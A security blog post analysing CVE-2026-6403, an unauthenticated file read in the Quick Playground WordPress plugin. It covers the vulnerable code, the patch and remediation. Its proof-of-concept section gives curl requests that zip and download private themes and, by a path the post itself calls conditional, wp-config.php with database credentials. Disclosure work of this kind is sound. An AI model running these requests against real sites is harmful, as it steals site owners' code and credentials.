Quick Playground WordPress plugin banner

CVE-2026-6403: Unauthenticated File Read in Quick Playground (CVSS 7.5)

CVE-2026-6403 is a CVSS 7.5 (High) Unauthenticated Path Traversal vulnerability in the Quick Playground WordPress plugin. An unauthenticated attacker can call an unprotected REST endpoint to trigger ZIP creation of server-side directories, then download the archive without any credentials.

Vulnerability Summary

FieldValue
Plugin NameQuick Playground
Plugin Slugquick-playground
CVE IDCVE-2026-6403
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypePath Traversal (Unauthenticated Arbitrary File Read)
Affected Versions<= 1.3.3
Patched Version1.3.4
PublishedMay 14, 2026
ResearchersAthiwat Tiprasaharn (Jitlada) & Itthidej Aramsri (Boeing777)
Wordfence AdvisoryLink

Description

The Quick Playground plugin is vulnerable to Path Traversal in all versions up to and including 1.3.3. The qckply_zip_theme() function appends a user-controlled stylesheet parameter directly to the theme root directory path without sanitizing directory traversal sequences. This makes it possible for unauthenticated attackers to trigger the creation of a ZIP archive containing arbitrary files from the server’s filesystem, including wp-config.php, and then download that archive via a second unauthenticated endpoint.

Technical Analysis

Attack Surface

Quick Playground registers a public REST API endpoint for serving playground blueprints. The endpoint lives at quickplayground/v1/blueprint/<profile> and its permission callback returns true unconditionally, making it accessible to any visitor.

// api.php — permission callback
public function get_items_permissions_check($request) {
    return true;  // no authentication required
}

Vulnerable Execution Path

When a GET request reaches the blueprint endpoint with a stylesheet query parameter, the callback reads it and passes it to qckply_swap_theme():

// api.php:80–84
if(isset($_GET['stylesheet'])) {
  //no nonce check because this can be called from a static link
  $stylesheet = sanitize_text_field(wp_unslash($_GET['stylesheet']));
  $stylesheet = preg_replace('/[^a-z0-9_\-]/', '', $stylesheet); // basic check
  $blueprint = qckply_swap_theme($blueprint, $stylesheet);
}

The preg_replace is described as a “basic check.” It strips dots and slashes, but leaves lowercase letters, digits, hyphens, and underscores. qckply_swap_theme() then calls qckply_zip_theme() whenever the requested theme is not found in the WordPress.org repository:

// build.php:306–315
function qckply_swap_theme($blueprint, $slug) {
    $slug = trim($slug);
    if(empty($slug)) {
        return $blueprint;
    }
    $public = true;
    if(!qckply_repo_check($slug,'theme')) {
        $public = false;
        qckply_zip_theme($slug);  // called with user-controlled input
    }
    // ...
}

The Vulnerable Function

qckply_zip_theme() in utility.php is the root cause. It has no authorization check and no path sanitization:

// utility.php:242–251 (version 1.3.3 — vulnerable)
function qckply_zip_theme($stylesheet) {
    $qckply_directories = qckply_get_directories();
    $qckply_uploads = $qckply_directories['uploads'];
    $source_directory = get_theme_root() . '/' . $stylesheet; //  Get theme path
    if (qckply_zipToUploads($source_directory, $qckply_uploads)) {
        return 'Theme '.$stylesheet.' zipped successfully! The zip file can be found at: ' . $qckply_uploads;
    } else {
        return 'Theme '.$stylesheet.' zip creation failed.';
    }
}

The constructed path get_theme_root() . '/' . $stylesheet is passed directly to qckply_zipToUploads(), which recursively adds every file in the target directory to a ZIP archive:

// utility.php:156–187
function qckply_zipToUploads(string $source_dir, string $uploads_dir, $slug = ''): bool
{
    if(!is_dir($source_dir))
        return false;

    if (empty($slug)) {
        $slug = basename($source_dir);  // ZIP filename = last path segment
    }

    $zip = new ZipArchive();
    $zip_filepath = $uploads_dir . '/' . $slug . '.zip';
    // ...opens zip, recursively adds all files, closes zip
}

The ZIP file lands in the wp-uploads/quick-playground/ directory under the name <stylesheet>.zip.

Unauthenticated Download

A second REST endpoint serves any file from the uploads directory without authentication:

// api.php:639–703 — Qckply_Download class
$path = 'download/(?P<filename>[A-Za-z0-9_\-\.]+)';
// permission callback also returns true

public function handle($request) {
    $filename = sanitize_text_field($request['filename']);
    $file = $qckply_uploads . '/' . $filename;
    if(!file_exists($file)) {
        die('file not found');
    } else {
        header("Content-Type: application/zip");
        readfile($file);  // serves the file to anyone
    }
}

Why “Including wp-config”

The qckply_zip_theme() function itself has no path sanitization. The only protection against full directory traversal is the “basic” preg_replace in the REST endpoint caller. This function is also called from blueprint-builder.php, build.php, and other locations. In any call path that does not apply this basic filter, a payload like ../../wp-config traverses above the themes root and zips the WordPress installation root, which contains wp-config.php with database credentials.

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes and authorized security testing only. Do not use it against systems you do not own or have explicit permission to test.

Prerequisites: Quick Playground <= 1.3.3 installed and activated. A custom or private theme installed locally (not published on WordPress.org). A blueprint profile saved under the name default.

Step 1 — Confirm the endpoint is unauthenticated:

curl -s "https://victim.example.com/wp-json/quickplayground/v1/blueprint/default" | python3 -m json.tool

A JSON response (not a 401 or 403) confirms no authentication is required.

Step 2 — Trigger ZIP creation of a private theme:

Replace my-custom-theme with the slug of any locally installed theme that is not on WordPress.org.

curl -s "https://victim.example.com/wp-json/quickplayground/v1/blueprint/default?stylesheet=my-custom-theme" \
  -o /dev/null -w "HTTP %{http_code}\n"

The plugin calls qckply_zip_theme('my-custom-theme') and saves my-custom-theme.zip in the uploads directory.

Step 3 — Download the ZIP without credentials:

curl -s "https://victim.example.com/wp-json/quickplayground/v1/download/my-custom-theme.zip" \
  -o stolen-theme.zip

unzip -l stolen-theme.zip  # list the contents

Verification: A successful download with theme files confirms the vulnerability is present.

Full path traversal (via direct function call or hooks without the basic filter):

# stylesheet=../../wp-config — gets stripped to "wp-config" by the REST endpoint filter
# but if called without that filter (another hook or code path), the path becomes:
# get_theme_root() . '/../../wp-config'  ->  /var/www/html/wp-config  (WordPress root)

curl -s "https://victim.example.com/wp-json/quickplayground/v1/download/wp-config.zip" \
  -o wp-config.zip
unzip -p wp-config.zip  # reveals database credentials

Patch Analysis

Version 1.3.4 adds an authorization check at the top of qckply_zip_theme(), qckply_zip_current_theme(), and qckply_zip_plugin(). This defense-in-depth approach protects the function regardless of which code path calls it:

 function qckply_zip_theme($stylesheet) {
+    if(!current_user_can('manage_options')) {
+        return;
+    }
     $qckply_directories = qckply_get_directories();
     $qckply_uploads = $qckply_directories['uploads'];
     $source_directory = get_theme_root() . '/' . $stylesheet;
 function qckply_zip_plugin($slug) {
+    if(!current_user_can('manage_options')) {
+        return;
+    }

The fix is applied at the function level, not just the REST endpoint caller. This is the correct approach: every code path that invokes these functions now requires the caller to be an administrator (manage_options capability), regardless of how the call is made.

The “basic” character filter in api.php remains as a secondary layer, but the root cause — no authorization — is now fixed at the source.

Timeline

DateEvent
May 14, 2026Vulnerability publicly disclosed by Wordfence
May 14, 2026Version 1.3.4 released with the fix
May 15, 2026Wordfence advisory last updated
May 18, 2026This blog post published

Remediation

Update Quick Playground to version 1.3.4 or later immediately. You can do this from the WordPress admin dashboard under Plugins → Installed Plugins, or by downloading the update directly from wordpress.org/plugins/quick-playground.

If you cannot update immediately, consider temporarily deactivating the plugin until the update can be applied.

References

  1. Wordfence Advisory — CVE-2026-6403
  2. CVE Record — CVE-2026-6403
  3. CVSS 3.1 Calculator
  4. Vulnerable code — utility.php#L162
  5. Vulnerable code — api.php#L62
  6. Patch — utility.php#L248
  7. Patch changeset

Frequently Asked Questions

What is CVE-2026-6403?

CVE-2026-6403 is a CVSS 7.5 (High) severity path traversal vulnerability in the Quick Playground WordPress plugin. An unauthenticated attacker can trigger the creation of a ZIP archive of server-side directories and download it without a WordPress account.

Which versions of Quick Playground are affected by CVE-2026-6403?

All versions up to and including 1.3.3 are affected. Version 1.3.4 contains the fix.

What can an attacker do with CVE-2026-6403?

An attacker can trigger the plugin to ZIP theme directories installed on the server and immediately download the archive. In edge-case server configurations, this can expose sensitive files such as wp-config.php, database credentials, or private theme source code.

Does an attacker need to be logged in to exploit CVE-2026-6403?

No. The vulnerable REST API endpoint returns true for all permission checks, so any visitor can send the malicious request without a WordPress account.

How do I fix CVE-2026-6403 in Quick Playground?

Update Quick Playground to version 1.3.4 or later from the WordPress admin dashboard or wordpress.org.

Has Quick Playground been patched for CVE-2026-6403?

Yes. Version 1.3.4 was released on May 14, 2026 and adds a current_user_can check to the vulnerable function, resolving this vulnerability.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee